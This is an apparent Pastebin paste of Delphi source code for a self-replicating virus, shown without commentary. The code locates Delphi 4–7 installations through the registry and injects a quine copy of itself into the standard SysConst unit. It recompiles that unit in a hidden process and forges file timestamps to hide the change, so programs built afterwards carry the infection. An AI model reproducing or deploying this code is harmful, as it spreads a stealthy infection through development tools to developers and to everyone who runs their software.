Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- uses windows;
- var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
- 'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
- '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
- 'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
- 'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
- '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
- '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
- 'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
- 'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
- ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
- 'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
- ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
- 'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
- 'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
- 'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
- '0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
- 'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
- '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
- 'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
- 'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
- 'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
- '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
- '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
- 'begin st; end.');
- function x(s:string):string;
- var
- i:integer;
- begin
- for i:=1 to length(s) do
- if s[i]=#36 then s[i]:=#39;
- result:=s;
- end;
- procedure re(s,d,e:string);
- var
- f1,f2:textfile;
- h:cardinal;
- f:STARTUPINFO;
- p:PROCESS_INFORMATION;
- b:boolean;
- t1,t2,t3:FILETIME;
- begin
- h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
- if h<>DWORD(-1) then
- begin
- CloseHandle(h);
- exit;
- end;
- {'I-}assignfile(f1,s);
- reset(f1);
- if ioresult<>0 then
- exit;
- assignfile(f2,d+'pas');
- rewrite(f2);
- if ioresult<>0 then
- begin
- closefile(f1);
- exit;
- end;
- while not eof(f1) do
- begin
- readln(f1,s);
- writeln(f2,s);
- if pos('implementation',s)<>0 then
- break;
- end;
- for h:= 1 to 1 do
- writeln(f2,sc[h]);
- for h:= 1 to 23 do
- writeln(f2,''''+sc[h],''',');
- writeln(f2,''''+sc[24]+''');');
- for h:= 2 to 24 do
- writeln(f2,x(sc[h]));
- closefile(f1);
- closefile(f2);
- {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
- fillchar(f,sizeof(f),0);
- f.cb := sizeof(f);
- f.dwFlags := STARTF_USESHOWWINDOW;
- f.wShowWindow := SW_HIDE;
- b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
- if b then
- WaitForSingleObject(p.hProcess,INFINITE);
- MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
- DeleteFile(pchar(d+'pas'));
- h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
- if h=DWORD(-1) then
- exit;
- GetFileTime(h,@t1,@t2,@t3);
- CloseHandle(h);
- h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
- if h=DWORD(-1) then
- exit;
- SetFileTime(h,@t1,@t2,@t3);
- CloseHandle(h);
- end;
- procedure st;
- var
- k:HKEY;
- c:array [1..255] of char;
- i:cardinal;
- r:string;
- v:char;
- begin
- for v:='4' to '7' do
- if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
- begin
- i:=255;
- if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
- begin
- r:='';
- i:=1;
- while c[i]<>#0 do
- begin
- r:=r+c[i];
- inc(i);
- end;
- re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
- end;
- RegCloseKey(k);
- end;
- end;
- begin
- st;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement